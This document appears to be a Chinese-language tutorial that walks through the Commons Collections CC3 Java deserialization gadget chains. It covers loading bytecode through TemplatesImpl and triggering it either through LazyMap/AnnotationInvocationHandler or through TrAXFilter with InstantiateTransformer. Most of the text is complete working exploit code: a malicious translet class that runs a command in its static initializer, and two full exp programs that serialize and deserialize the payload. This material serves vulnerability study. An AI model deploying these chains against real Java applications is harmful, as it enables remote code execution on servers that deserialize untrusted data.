前言
此条CC3、CC2和CC4都是通过(代码执行)来实现的,而向之前的CC1和CC6都是通过(命令调用执行)的,今天来分析CC3的两条链。
第一条:
流程分析图:
代码分析:
首先,我们通过ClassLoader类里面搜索defineClass()方法,再查找用法,找到这里的defineClass()方法
protected final Class<?> defineClass(String name, byte[] b, int off, int len)
可以看到在 TemplatesImpl 类中,调用的defineClass是default属性,在 package com.sun.org.apache.xalan.internal.xsltc.trax 这个包下可以调用。
继续查找这个default属性的defineClass(),发现是在defineTransletClasses()方法中调用了它,继续寻找defineTransletClasses()方法在哪里调用了,直到找到public属性的方法。
我们发现在这里有newInstance()方法,是一个初始化的过程。
因此我们需要重点关注这个getTransletInstance()方法,并且顺利走到 .newInstance()方法。
再向上查找调用看看有没有public属性的,
我们找到了 public synchronized Transformer newTransformer() 就可以停止了。
还需要找 _class[_transletIndex] 赋值点。
进入defineTransletClasses()方法中发现是加载的字节码赋值的。
到现在我们知道了是从 TemplatesImpl.newTransformer() => ... =>defineClass->newIstance()
TemplatesImpl templates = new TemplatesImpl();
TemplatesImpl类继承了序列化接口
三个if条件判断:
在此处是_name是不能为null的,在defineTransletClasses()方法中,
如果_bytecodes为空就会报出异常,因此我们的_bytecodes也不能为空。
接下来我们就需要利用反射来进行修改值。同时我们发现_bytecodes是一个二维数组,
但是defineClass接受的是一个一维数组。
所以我们想的的先用一维数组装入我们的代码,再套一层就是二维数组了。
接下来是_tfactory是一个transient属性的值。
同时在Readobject类里面它是被赋值为这个的 new TransformerFactoryImpl();
public class cc3 {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
//_name
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Rsecret2");
//_bytecodes
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\tmp1\\cc3_dynamic.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
//_tfactory
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
}
目前代码执行之后会报错,空指针错误。
我们发现在这个空指针下,我们不用修改,只需要把这个上面的if判断 _transletIndex = 1 ,通过就行,因此我们就让
superClass.getName().equals(ABSTRACT_TRANSLET)
此处的值为true即可, 这个也可以跳过下面的if<0的判断。
因此我们需要执行代码的父类要是这个ABSTRACT_TRANSLET类
修改后的cc3_dynamic.java为如下,并且再编译一下。
package org.example;
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class cc3_dynamic extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("notepad");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
可以看到是执行了"notepad"
第一条exp:
public class cc3 {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
//_name
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Rsecret2");
//_bytecodes
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\tmp1\\cc3_dynamic.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
//_tfactory
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
//结合cc1
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(c.getClassLoader(),new Class[]{Map.class},h);
Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);
// serialize(o);
unserialize(o);
第二条:
分析流程图:
代码分析:
package com.sun.org.apache.xalan.internal.xsltc.trax,在这个包下TrAXFilter类下,也调用了这个newTransformer()方法。
我们来分析一下:
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
它的构造方法直接传入了一个类,然后这个类调用了newTransformer()方法。
但是我们想序列化只能从.class入手了。
InstantiateTransformer:
在它的transform方法中:
接收一个输入对象,检查它是否是Class的实例,如果不是就抛出异常。如果是的话,就获取该Class对应参数类型的构造函数,并用提供的参数实例化一个对象返回。
我们再看一下它的构造函数,
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}
我们需要利用InstantiateTransformer来实例化TrAXFilter类,
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transforem(TrAXFileter.class)
再结合cc1就组成了我们的第二条,并且不用InvocationHandler的CC3链
第二条exp:
public class cc3_disInvocation {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
//_name
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "Rsecret2");
//_bytecodes
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\tmp1\\cc3_dynamic.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
//_tfactory
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
//InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(1);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(c.getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);
// serialize(o);
unserialize(o);
}
private static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}
public static void unserialize(Object obj) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
}
_tfactory
在readObject里面已经给_tractory赋值了,所以最后的代码我们利用反射赋值和不利于都可以,这里就不演示了。